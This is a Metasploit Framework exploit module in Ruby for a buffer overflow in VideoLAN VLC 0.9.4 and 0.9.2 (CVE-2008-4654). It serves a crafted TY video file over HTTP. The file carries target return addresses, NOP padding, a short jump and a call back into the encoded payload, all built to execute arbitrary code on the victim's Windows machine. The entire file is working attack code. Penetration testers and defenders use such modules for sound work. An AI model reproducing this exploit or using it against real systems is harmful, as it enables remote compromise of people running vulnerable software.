##
# $Id: videolan_tivo.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VideoLAN VLC TiVo Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
				By creating a malicious TY file, a remote attacker could overflow a
				buffer and execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2008-4654' ],
					[ 'OSVDB', '49181' ],
					[ 'BID', '31813' ],
				],
			'Payload'        =>
				{
					'Space'           => 550,
					'BadChars'	  => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],
					[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 22 2008',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)

		return if ((p = regenerate_payload(cli)) == nil)

		ty =  "\xF5\x46\x7A\xBD"
		ty << "\x00\x00\x00\x02"
		ty << "\x00\x02\x00\x00"
		ty << "\x00\x00\x00\x00"
		ty << "\x00\x00\x00\x00"
		ty << "\x00\x00\x05\x41"
		ty << "\x00\x00\x00\x00"
		ty << "\x00\x00\x05\x49"
		ty << "\x00" * 60
		ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded
		ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
		ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)
		ty << "\x05"
		ty << "\x00\x00\x00"
		ty << "\x05"
		ty << "\x00"
		ty << "\x09"
		ty << "\xc0"
		ty << "\x00" * 14
		ty << "\x06"
		ty << "\xe0"
		ty << "\x00" * 302004

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		send_response_html(cli, ty, { 'Content-Type' => 'application/octet-stream' })

		handler(cli)

	end

end
